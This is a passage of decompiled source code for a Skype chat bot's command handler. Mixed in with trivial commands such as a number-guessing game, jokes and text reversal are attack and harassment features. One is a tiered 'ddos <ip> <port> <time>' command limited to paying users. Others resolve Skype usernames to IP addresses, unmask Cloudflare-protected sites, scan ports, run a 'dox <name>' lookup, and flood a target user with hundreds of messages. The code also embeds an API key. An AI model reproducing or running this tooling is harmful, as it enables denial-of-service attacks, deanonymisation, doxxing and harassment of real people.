- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
- string text68 = MySettingsProperty.Settings.gamedat;
- string[] array25 = text68.Split(new char[]
- {
- ';'
- });
- int arg_501B_0 = 0;
- int num28 = array25.Length - 2;
- int num29 = arg_501B_0;
- string left2;
- while (true)
- {
- int arg_50A8_0 = num29;
- int num3 = num28;
- if (arg_50A8_0 > num3)
- {
- goto Block_210;
- }
- text68 = array25[num29];
- string[] array26 = text68.Split(new char[]
- {
- '|'
- });
- left2 = array26[0];
- int num30 = Conversions.ToInteger(array26[1]);
- string text69 = array26[2].Replace(";", "");
- flag2 = (Operators.CompareString(left2, closure$__.$VB$Local_msg.Sender.Handle, true) == 0);
- if (flag2)
- {
- break;
- }
- num29++;
- }
- goto IL_50B5;
- Block_210:
- left2 = "énotfound";
- IL_50B5:
- flag2 = (Operators.CompareString(text67, "gen", true) == 0);
- if (flag2)
- {
- VBMath.Randomize();
- flag2 = (Operators.CompareString(left2, "énotfound", true) == 0);
- if (flag2)
- {
- MySettingsProperty.Settings.gamedat = string.Concat(new string[]
- {
- MySettingsProperty.Settings.gamedat,
- closure$__.$VB$Local_msg.Sender.Handle,
- "|",
- Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * 10000f)))),
- "|0;"
- });
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
- }
- else
- {
- string value2 = Regex.Match(MySettingsProperty.Settings.gamedat, closure$__.$VB$Local_msg.Sender.Handle + "\\|([0-9]+)\\|([0-9]+);", RegexOptions.IgnoreCase).Value;
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(value2, closure$__.$VB$Local_msg.Sender.Handle + "|" + Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * 10000f)))) + "|0;");
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
- }
- this.AddSwagToMSG(chatMessage10, "New game generated! Try a number!", 0);
- return;
- }
- VBMath.Randomize();
- flag2 = text67.StartsWith("gen ");
- if (flag2)
- {
- VBMath.Randomize();
- int num31 = Conversions.ToInteger(text67.Replace("gen ", ""));
- flag2 = (Operators.CompareString(left2, "énotfound", true) == 0);
- if (flag2)
- {
- MySettingsProperty.Settings.gamedat = string.Concat(new string[]
- {
- MySettingsProperty.Settings.gamedat,
- closure$__.$VB$Local_msg.Sender.Handle,
- "|",
- Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * (float)num31)))),
- "|0;"
- });
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
- }
- else
- {
- string value3 = Regex.Match(MySettingsProperty.Settings.gamedat, closure$__.$VB$Local_msg.Sender.Handle + "\\|([0-9]+)\\|([0-9]+);", RegexOptions.IgnoreCase).Value;
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(value3, closure$__.$VB$Local_msg.Sender.Handle + "|" + Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * (float)num31)))) + "|0;");
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
- }
- this.AddSwagToMSG(chatMessage10, "New game generated! Try a number!", 0);
- return;
- }
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
- flag2 = text67.StartsWith("try ");
- unchecked
- {
- if (flag2)
- {
- flag = (Operators.CompareString(left2, "énotfound", true) == 0);
- if (flag)
- {
- this.AddSwagToMSG(chatMessage10, "Generate a game first!", 0);
- return;
- }
- string value4 = Regex.Match(MySettingsProperty.Settings.gamedat, closure$__.$VB$Local_msg.Sender.Handle + "\\|([0-9]+)\\|([0-9]+);", RegexOptions.IgnoreCase).Value;
- string[] array27 = value4.Split(new char[]
- {
- '|'
- });
- int num30 = Conversions.ToInteger(array27[1]);
- string text69 = array27[2].Replace(";", "");
- flag2 = (Operators.CompareString(text67.Replace("try ", ""), "cheatcode", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage10, "Psst, the number is " + Conversions.ToString(num30) + "!", 0);
- return;
- }
- flag2 = (Conversions.ToDouble(text67.Replace("try ", "")) == (double)num30);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage10, string.Concat(new string[]
- {
- "---- WINNER ----\r\nIt took you ",
- Conversions.ToString(Conversions.ToDouble(text69.Replace(";", "")) + 1.0),
- " guesses to guess ",
- Conversions.ToString(num30),
- "\r\nYou can now generate a new game!\r\n---- WINNER ----"
- }), 0);
- }
- else
- {
- flag2 = (decimal.Compare(Convert.ToDecimal(text67.Replace("try ", "")), Convert.ToDecimal(num30)) < 0);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage10, "Higher!", 0);
- }
- else
- {
- flag2 = (decimal.Compare(Convert.ToDecimal(text67.Replace("try ", "")), Convert.ToDecimal(num30)) > 0);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage10, "Lower!", 0);
- }
- }
- }
- MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(string.Concat(new string[]
- {
- closure$__.$VB$Local_msg.Sender.Handle,
- "|",
- Conversions.ToString(num30),
- "|",
- text69
- }), string.Concat(new string[]
- {
- closure$__.$VB$Local_msg.Sender.Handle,
- "|",
- Conversions.ToString(num30),
- "|",
- Conversions.ToString(Conversions.ToDouble(text69.Replace(";", "")) + 1.0),
- ";"
- }));
- return;
- }
- else
- {
- this.AddSwagToMSG(chatMessage10, "Invalid game command!", 0);
- }
- }
- }
- flag2 = (Operators.CompareString(text, "ddos", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ddos <ip> <port> <time>");
- }
- flag2 = text.StartsWith("ddos ");
- if (flag2)
- {
- ChatMessage msg44 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string text70 = text.Replace("ddos ", "");
- this.AddSwagToMSG(msg44, "Starting ddos...", 0);
- string[] array28 = text70.Split(new char[]
- {
- ' '
- });
- flag2 = array28[0].Contains(".");
- if (!flag2)
- {
- this.AddSwagToMSG(msg44, "Invalid IP!", 0);
- return;
- }
- string ip;
- int num32;
- int num33;
- try
- {
- ip = array28[0];
- num32 = Conversions.ToInteger(array28[1]);
- num33 = Conversions.ToInteger(array28[2]);
- }
- catch (Exception arg_58A4_0)
- {
- ProjectData.SetProjectError(arg_58A4_0);
- this.AddSwagToMSG(msg44, "Invalid IP/Port Or Time + Recheck your syntax (!help ddos)", 0);
- ProjectData.ClearProjectError();
- return;
- }
- flag2 = Versioned.IsNumeric(num33);
- if (!flag2)
- {
- this.AddSwagToMSG(msg44, "Invalid Time!", 0);
- return;
- }
- flag = Conversions.ToBoolean(Operators.AndObject(num33 > 600, this.IsUltimate(closure$__.$VB$Local_msg.Sender.Handle)));
- if (flag)
- {
- this.AddSwagToMSG(msg44, "Maximum time is 600s", 0);
- return;
- }
- flag2 = Conversions.ToBoolean(Operators.AndObject(num33 > 300, this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle)));
- if (flag2)
- {
- this.AddSwagToMSG(msg44, "Maximum time is 300s", 0);
- return;
- }
- flag2 = Conversions.ToBoolean(this.IsNormalUser(closure$__.$VB$Local_msg.Sender.Handle));
- if (flag2)
- {
- this.AddSwagToMSG(msg44, "Non upgraded users are not able to use this, see !buy or contact the owner.", 0);
- return;
- }
- flag2 = Versioned.IsNumeric(num32);
- if (!flag2)
- {
- this.AddSwagToMSG(msg44, "Invalid Port!", 0);
- return;
- }
- flag = (num32 > 1 & num32 < 65535);
- if (!flag)
- {
- this.AddSwagToMSG(msg44, "Port falls out of range 1-65535", 0);
- return;
- }
- this.AddSwagToMSG(msg44, "Request for attack sent/sending! (No feedback received yet)...", 0);
- string text71 = Conversions.ToString(this.ddos(ip, num32, num33));
- this.AddSwagToMSG(msg44, "Received a 200 response code. Let's hope it works! (We currently have no way to check if the attack has been sent successful)", 0);
- }
- flag2 = (Operators.CompareString(text, "sidgrab", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "sidgrab <steamuri/steamnr>");
- }
- flag2 = text.StartsWith("sidgrab ");
- if (flag2)
- {
- ChatMessage msg45 = closure$__.$VB$Local_msg.Chat.SendMessage("Grabbing steam ID...");
- string str11 = text.Replace("sidgrab ", "");
- string text72 = new WebClient
- {
- Proxy = null
- }.DownloadString("http://tatakai.net46.net/api/api.php?id=" + str11);
- string[] array29 = text72.Split(new char[]
- {
- '|'
- });
- this.AddSwagToMSG(msg45, string.Concat(new string[]
- {
- "User: ",
- array29[0],
- "\r\nGames: ",
- array29[1],
- "\r\nSteamID: ",
- array29[2]
- }), 0);
- }
- flag2 = (Operators.CompareString(text, "deadfly", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "deadfly <adflyuri>");
- }
- flag2 = text.StartsWith("deadfly ");
- if (flag2)
- {
- ChatMessage msg46 = closure$__.$VB$Local_msg.Chat.SendMessage("De adflying...");
- string text73 = text.Replace("deadfly ", "");
- flag2 = (text73.StartsWith("http") | text73.StartsWith("www."));
- if (flag2)
- {
- string str12 = new WebClient
- {
- Headers =
- {
- {
- HttpRequestHeader.Referer,
- "http://api.c99.nl/cmd/"
- }
- },
- Proxy = null
- }.DownloadString("http://api.c99.nl/deadfly.php?key=skypebotje123&url=" + text73);
- this.AddSwagToMSG(msg46, "We killed the fly! Here the link: " + str12, 0);
- }
- else
- {
- this.AddSwagToMSG(msg46, "Invalid url...", 0);
- }
- }
- flag2 = (Operators.CompareString(text, "resolve", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "resolve <skypename>");
- }
- flag2 = text.StartsWith("resolve ");
- if (flag2)
- {
- string text74 = text.Replace("resolve ", "");
- flag2 = text74.Contains(this.Skypattach.CurrentUserHandle);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Nope! Not me!");
- }
- else
- {
- ChatMessage chatMessage11 = closure$__.$VB$Local_msg.Chat.SendMessage("Resolving...");
- string text75 = text74.Replace(" ", "");
- flag2 = (Operators.CompareString(text75, "les.de", true) == 0);
- if (flag2)
- {
- text75 = closure$__.$VB$Local_msg.Sender.Handle;
- }
- flag2 = MySettingsProperty.Settings.whitelist.ToLower().Contains(text75.ToLower());
- if (flag2)
- {
- chatMessage11.Body = "This user has been whitelisted!";
- }
- else
- {
- WebClient webClient16 = new WebClient();
- chatMessage11.Body = "Resolver 1: Resolving...\r\nResolver 2: Resolving...\r\nCached IPs: Resolving...";
- string text76 = Conversions.ToString(this.Resolve1(text75));
- flag2 = (this.IsIpValid(text76) | Operators.CompareString(text76, "error", true) == 0);
- if (!flag2)
- {
- text76 = "IP not found!";
- }
- flag2 = MySettingsProperty.Settings.whitelist.Contains(text76);
- if (flag2)
- {
- text76 = "IP has been whitelisted!";
- }
- flag2 = (Operators.CompareString(text76, "error", true) == 0);
- if (flag2)
- {
- text76 = "Failed!";
- }
- string str13 = "Resolver 1: " + text76 + "\r\nResolver 2: ";
- chatMessage11.Body = str13 + "Resolving...\r\nCached IPs: Resolving...";
- text76 = Conversions.ToString(this.Resolve2(text75));
- flag2 = (this.IsIpValid(text76) | Operators.CompareString(text76, "error", true) == 0);
- if (!flag2)
- {
- text76 = "IP not found!";
- }
- flag2 = MySettingsProperty.Settings.whitelist.Contains(text76);
- if (flag2)
- {
- text76 = "IP has been whitelisted!";
- }
- flag2 = (Operators.CompareString(text76, "error", true) == 0);
- if (flag2)
- {
- text76 = "Failed!";
- }
- str13 = str13 + text76 + "\r\nCached IPs: ";
- chatMessage11.Body = str13 + "Resolving...";
- text76 = Conversions.ToString(this.Cached(text75));
- flag2 = MySettingsProperty.Settings.whitelist.Contains(text76);
- if (flag2)
- {
- text76 = "IP has been whitelisted!";
- }
- flag2 = (Operators.CompareString(text76, "error", true) == 0);
- if (flag2)
- {
- text76 = "Failed!";
- }
- chatMessage11.Body = str13 + text76;
- }
- }
- }
- else
- {
- flag2 = (Operators.CompareString(text, "dict", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "dict <word>");
- }
- flag2 = text.StartsWith("dict ");
- if (flag2)
- {
- string text77 = "http://skypebot.ga/apis/apis/dict.php";
- ChatMessage msg47 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg47, Conversions.ToString(this.POST(text77, "auth=sb&def=" + text.Remove(0, 5))), 0);
- }
- flag2 = (Operators.CompareString(text, "dox", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "dox <name>");
- }
- flag2 = text.StartsWith("dox ");
- if (flag2)
- {
- string text78 = "http://skypebot.ga/apis/apis/dox.php";
- ChatMessage msg48 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg48, Conversions.ToString(this.paste(Conversions.ToString(this.POST(text78, "auth=sb&u=" + text.Remove(0, 4))), "Untitled")), 0);
- }
- flag2 = (Operators.CompareString(text, "don", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "don <website>");
- }
- flag2 = text.StartsWith("don ");
- if (flag2)
- {
- string text79 = text.Replace("don ", "").Replace(" ", "");
- ChatMessage msg49 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- flag2 = !text79.Contains(".");
- if (flag2)
- {
- this.AddSwagToMSG(msg49, "Invalid Site", 0);
- }
- else
- {
- string text80 = new WebClient
- {
- Proxy = null
- }.DownloadString("http://www.isup.me/" + text79);
- flag2 = text80.Contains("is up");
- if (flag2)
- {
- text80 = "Online.";
- }
- else
- {
- flag2 = text80.ToLower().Contains("down");
- if (flag2)
- {
- text80 = "Offline.";
- }
- }
- this.AddSwagToMSG(msg49, text80, 0);
- }
- }
- else
- {
- flag2 = (Operators.CompareString(text, "cfresolve", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "cfresolve <website>");
- }
- flag2 = text.StartsWith("cfresolve ");
- if (flag2)
- {
- ChatMessage chatMessage12 = closure$__.$VB$Local_msg.Chat.SendMessage("Trying to resolve...");
- WebClient webClient17 = new WebClient();
- chatMessage12.Body = webClient17.DownloadString("http://APIOnly.com/cfresolver.php?domain=" + text.Replace("cfresolve ", "")).Replace("<br>", "");
- }
- else
- {
- flag2 = (Operators.CompareString(text, "reverse", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "reverse <text/string/sentence>");
- }
- flag2 = text.StartsWith("reverse ");
- if (flag2)
- {
- ChatMessage msg50 = closure$__.$VB$Local_msg.Chat.SendMessage("Reversing...");
- this.AddSwagToMSG(msg50, Strings.StrReverse(text.Replace("reverse ", "") + " ").Replace("!", "").Replace("/", ""), 0);
- }
- flag2 = (Operators.CompareString(text, "domain", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "domain <website>");
- }
- flag2 = text.StartsWith("domain ");
- if (flag2)
- {
- ChatMessage msg51 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- try
- {
- string hostName = Dns.GetHostName();
- this.AddSwagToMSG(msg51, Dns.GetHostByName(text.Replace("domain ", "")).AddressList[0].ToString(), 0);
- }
- catch (Exception expr_6521)
- {
- ProjectData.SetProjectError(expr_6521);
- Exception ex3 = expr_6521;
- flag2 = ex3.ToString().ToLower().Contains("no such host is known");
- if (flag2)
- {
- this.AddSwagToMSG(msg51, "Invalid host.", 0);
- }
- ProjectData.ClearProjectError();
- }
- }
- else
- {
- flag2 = (Operators.CompareString(text, "spam", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "spam <times> <msg>");
- }
- flag2 = text.StartsWith("spam ");
- if (flag2)
- {
- Thread thread2 = new Thread(delegate
- {
- closure$__.$VB$Me.spam(closure$__.$VB$Local_msg);
- });
- thread2.Start();
- }
- else
- {
- flag2 = (Operators.CompareString(text, "ts", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ts <name> <times> <msg>");
- }
- flag2 = text.StartsWith("ts ");
- if (flag2)
- {
- ChatMessage chatMessage13 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string text81 = text.Replace("ts ", "");
- string[] array30 = text81.Split(new char[]
- {
- ' '
- });
- try
- {
- string text82 = array30[0];
- text82 = array30[1];
- text82 = array30[2];
- }
- catch (Exception expr_66B2)
- {
- ProjectData.SetProjectError(expr_66B2);
- this.AddSwagToMSG(chatMessage13, "Please recheck your syntax (!help ts)", 0);
- ProjectData.ClearProjectError();
- }
- string text83 = array30[2];
- flag2 = Versioned.IsNumeric(array30[1]);
- if (flag2)
- {
- flag = (Conversions.ToDouble(array30[1]) > 500.0);
- if (flag)
- {
- array30[1] = Conversions.ToString(500);
- }
- array30[0] = array30[0].Replace(" ", "");
- flag2 = array30[0].Contains(this.Skypattach.CurrentUserHandle);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage13, "Nope! Not me!", 0);
- }
- else
- {
- int arg_67A3_0 = 3;
- int num34 = array30.Length - 1;
- int num35 = arg_67A3_0;
- while (true)
- {
- int arg_67DF_0 = num35;
- int num3 = num34;
- if (arg_67DF_0 > num3)
- {
- break;
- }
- text83 = text83 + " " + array30[num35];
- num35++;
- }
- this.AddSwagToMSG(chatMessage13, "Sending the msg....", 0);
- double arg_6814_0 = 1.0;
- unchecked
- {
- double num36 = Conversions.ToDouble(array30[1]) - 0.0;
- double num37 = arg_6814_0;
- while (true)
- {
- double arg_68D2_0 = num37;
- double num19 = num36;
- if (arg_68D2_0 > num19)
- {
- break;
- }
- chatMessage13.Body = string.Concat(new string[]
- {
- "Sended MSG ",
- Conversions.ToString(num37),
- "/",
- array30[1],
- "."
- });
- this.Skypattach.SendMessage(array30[0], text83.Replace("/", "").Replace("!", ""));
- num37 += 1.0;
- }
- this.Skypattach.SendMessage(array30[0], "Someone anonymouse made me do that! You can do it too: !ts <skypename> <times> <msg>");
- this.AddSwagToMSG(chatMessage13, "He succesfully received the attack!", 0);
- }
- }
- }
- else
- {
- this.AddSwagToMSG(chatMessage13, "ERROR: You entered an invalid number, try to swap the number and msg!", 0);
- }
- }
- else
- {
- flag2 = (Operators.CompareString(text, "rdns", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right syntax: " + this.trigger + "rdns <ip>");
- }
- flag2 = text.StartsWith("rdns ");
- if (flag2)
- {
- ChatMessage chatMessage14 = closure$__.$VB$Local_msg.Chat.SendMessage("Reversing DNS...");
- IPHostEntry hostEntry2 = Dns.GetHostEntry(text.Replace("rdns ", ""));
- string text84 = "The Primary Host name is: " + hostEntry2.HostName.ToString();
- chatMessage14.Body = text84;
- flag2 = (hostEntry2.Aliases.Length > 0);
- if (flag2)
- {
- chatMessage14.Body = text84 + "\r\n\r\nSearching for aliases...";
- chatMessage14.Body = text84 + "\r\n\r\nAdditional names found are: ";
- string[] aliases2 = hostEntry2.Aliases;
- for (int k = 0; k < aliases2.Length; k++)
- {
- string str14 = aliases2[k];
- chatMessage14.Body = chatMessage14.Body + "\r\n" + str14;
- }
- }
- }
- flag2 = (Operators.CompareString(text, "leet", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right syntax: " + this.trigger + "leet <1-100 degree (more = more leet)> <msg>");
- }
- flag2 = text.StartsWith("leet ");
- if (flag2)
- {
- ChatMessage msg52 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
- string[] array31 = text.Replace("leet ", "").Replace("!", "").Replace("/", "").Split(new char[]
- {
- ' '
- });
- string value5 = array31[0];
- string text85 = array31[1];
- int arg_6B47_0 = 2;
- int num38 = array31.Length - 1;
- int num39 = arg_6B47_0;
- while (true)
- {
- int arg_6B83_0 = num39;
- int num3 = num38;
- if (arg_6B83_0 > num3)
- {
- break;
- }
- text85 = text85 + " " + array31[num39];
- num39++;
- }
- this.AddSwagToMSG(msg52, Leet.Translate(text85, Conversions.ToInteger(value5)), 0);
- }
- else
- {
- flag2 = (Operators.CompareString(text, "say", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right syntax: " + this.trigger + "say <msg>");
- }
- flag2 = text.StartsWith("say ");
- if (flag2)
- {
- ChatMessage msg53 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
- this.AddSwagToMSG(msg53, text.Replace("say ", "").Replace("!", "").Replace("/", ""), 0);
- }
- else
- {
- flag2 = (Operators.CompareString(text, "hi", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "hi <skype name>");
- }
- flag2 = text.StartsWith("hi ");
- if (flag2)
- {
- string text86 = text.Replace("hi ", "");
- ChatMessage msg54 = closure$__.$VB$Local_msg.Chat.SendMessage("Saying hi...");
- flag2 = text86.Contains(this.Skypattach.CurrentUserHandle);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Well, Hi " + this.Skypattach.get_User(closure$__.$VB$Local_msg.Sender.Handle).FullName + "!");
- return;
- }
- this.AddSwagToMSG(msg54, "Okay, I'll say " + text86 + " hi from us!", 0);
- this.Skypattach.SendMessage(text86, "Hi from me and " + this.Skypattach.get_User(closure$__.$VB$Local_msg.Sender.Handle).FullName);
- }
- flag2 = (Operators.CompareString(text, "vpncheck", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "vpncheck <ip>");
- }
- flag2 = text.StartsWith("vpncheck ");
- if (flag2)
- {
- ChatMessage chatMessage15 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- chatMessage15.Body = "Initializing...";
- string text87 = closure$__.$VB$Local_msg.Body.Replace("vpncheck ", "");
- text87 = text87.Replace("!", "");
- flag2 = text87.Contains(":");
- if (flag2)
- {
- string[] array32 = text87.Split(new char[]
- {
- ' '
- });
- text87 = array32[0];
- flag2 = (Operators.CompareString(text87, "", true) == 0 | Operators.CompareString(text87, " ", true) == 0 | Operators.CompareString(text87, string.Empty, true) == 0);
- if (flag2)
- {
- text87 = array32[1];
- }
- }
- flag2 = (Operators.CompareString(text87, "", true) == 0 | Operators.CompareString(text87, " ", true) == 0 | Operators.CompareString(text87, string.Empty, true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(closure$__.$VB$Local_msg, "Invalid IP/Syntax, make sure you didn't enter useless spaces.", 0);
- return;
- }
- WebClient webClient18 = new WebClient();
- webClient18.Proxy = null;
- WebClient webClient19 = new WebClient();
- webClient19.Proxy = null;
- this.AddSwagToMSG(chatMessage15, "Checking for proxy...", 0);
- string value6 = Conversions.ToString(this.proxycheck(text87));
- flag2 = Conversions.ToBoolean(value6);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage15, "Proxy Detected", 0);
- }
- else
- {
- this.AddSwagToMSG(chatMessage15, "Proxy Not Detected", 0);
- }
- }
- flag2 = (Operators.CompareString(text, "paste", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "paste <text>");
- }
- flag2 = text.StartsWith("paste ");
- if (flag2)
- {
- ChatMessage msg55 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg55, Conversions.ToString(this.paste(text.Replace("paste ", ""), "Untitled")), 0);
- }
- flag2 = (Operators.CompareString(text, "scan", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "scan <ip>");
- }
- flag2 = text.StartsWith("scan ");
- if (flag2)
- {
- ChatMessage msg56 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg56, Conversions.ToString(Operators.ConcatenateObject("Open Ports:\r\n", this.portscan(text.Replace("!", "").Replace("scan ", "")))), 0);
- }
- flag2 = (Operators.CompareString(text, "number", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "number <integer>");
- }
- flag2 = text.StartsWith("number ");
- if (flag2)
- {
- string str15 = text.Replace("number ", "");
- ChatMessage msg57 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- WebClient webClient20 = new WebClient();
- webClient20.Proxy = null;
- try
- {
- string text88 = webClient20.DownloadString("http://numbersapi.com/" + str15);
- this.AddSwagToMSG(msg57, text88, 0);
- flag2 = text88.Contains("is an unremarkable number.");
- if (flag2)
- {
- this.AddSwagToMSG(msg57, "Number not in database, Sorry!", 0);
- }
- }
- catch (Exception expr_71FA)
- {
- ProjectData.SetProjectError(expr_71FA);
- this.AddSwagToMSG(msg57, "Invalid number!", 0);
- ProjectData.ClearProjectError();
- }
- }
- flag2 = (Operators.CompareString(text, "year", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "year <integer>");
- }
- flag2 = text.StartsWith("year ");
- if (flag2)
- {
- string str16 = text.Replace("year ", "");
- ChatMessage msg58 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- WebClient webClient21 = new WebClient();
- webClient21.Proxy = null;
- try
- {
- string text89 = webClient21.DownloadString("http://numbersapi.com/" + str16 + "/year");
- this.AddSwagToMSG(msg58, text89, 0);
- flag2 = text89.Contains("is an unremarkable number.");
- if (flag2)
- {
- this.AddSwagToMSG(msg58, "Number not in database, Sorry!", 0);
- }
- }
- catch (Exception expr_7313)
- {
- ProjectData.SetProjectError(expr_7313);
- this.AddSwagToMSG(msg58, "Invalid number!", 0);
- ProjectData.ClearProjectError();
- }
- }
- flag2 = (Operators.CompareString(text, "fact", true) == 0);
- if (flag2)
- {
- ChatMessage msg59 = closure$__.$VB$Local_msg.Chat.SendMessage("Finding a nice fact...");
- this.AddSwagToMSG(msg59, new WebClient
- {
- Proxy = null
- }.DownloadString("http://apis.skypebot.ga/apis/Random_Fact.php?auth=True").Replace("<br>", "").Replace("<i>", "").Replace("<head/>", ""), 0);
- }
- flag2 = (Operators.CompareString(text, "joke", true) == 0);
- if (flag2)
- {
- ChatMessage msg60 = closure$__.$VB$Local_msg.Chat.SendMessage("Finding a funny joke...");
- this.AddSwagToMSG(msg60, new WebClient
- {
- Proxy = null
- }.DownloadString("http://apis.skypebot.ga/apis/Random_funny_jokes.php?auth=True").Replace(MySettingsProperty.Settings.joketemp, "").Replace("<br>", "").Replace("<head/>", ""), 0);
- }
- flag2 = (Operators.CompareString(text, "quote", true) == 0);
- if (flag2)
- {
- ChatMessage msg61 = closure$__.$VB$Local_msg.Chat.SendMessage("Finding a famous quote...");
- WebClient webClient22 = new WebClient();
- this.AddSwagToMSG(msg61, webClient22.DownloadString("http://apis.skypebot.ga/apis/Famous_Quotes.php?auth=True").Replace("<i>", "").Replace("<br>", "").Replace("<head/>", ""), 0);
- }
- flag2 = (Operators.CompareString(text, "unshorten", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "unshorten <url>");
- }
- flag2 = text.StartsWith("unshorten ");
- if (flag2)
- {
- string text90 = text.Replace("unshorten ", "");
- ChatMessage msg62 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string text91 = Conversions.ToString(this.DL("http://api.unshort.tk/?u=" + text90));
- flag2 = (Operators.CompareString(text91, "[]", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(msg62, "Invalid URI, please recheck!", 0);
- return;
- }
- text91 = text91.Replace("\\/", "/").Replace(text90, "").Replace("}", "").Replace(MySettingsProperty.Settings.prf, "").Replace(" ", "%20");
- text91 = text91.Substring(0, text91.Length - 1);
- flag2 = (Operators.CompareString(text91, "", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(msg62, "Not unshortenable!", 0);
- return;
- }
- this.AddSwagToMSG(msg62, text91, 0);
- }
- flag2 = (Operators.CompareString(text, "join", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Click here:\r\n" + MySettingsProperty.Settings.cht);
- }
- flag2 = (Operators.CompareString(text, "yt2mp3", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "yt2mp3 <url>");
- }
- flag2 = text.StartsWith("yt2mp3 ");
- if (flag2)
- {
- string text92 = text.Replace("yt2mp3 ", "");
- WebClient webClient23 = new WebClient();
- webClient23.Proxy = null;
- ChatMessage msg63 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string urltoshrt = "http://youtubeinmp3.com/fetch/?video=" + text92;
- flag2 = (text92.Contains("watch?v=") & text92.Contains("http"));
- if (flag2)
- {
- this.AddSwagToMSG(msg63, Conversions.ToString(Operators.ConcatenateObject("Direct download: ", this.shorten(urltoshrt))), 0);
- }
- else
- {
- this.AddSwagToMSG(msg63, "Invalid link", 0);
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- catch (Exception expr_77BE)
- {
- ProjectData.SetProjectError(expr_77BE);
- Exception ex4 = expr_77BE;
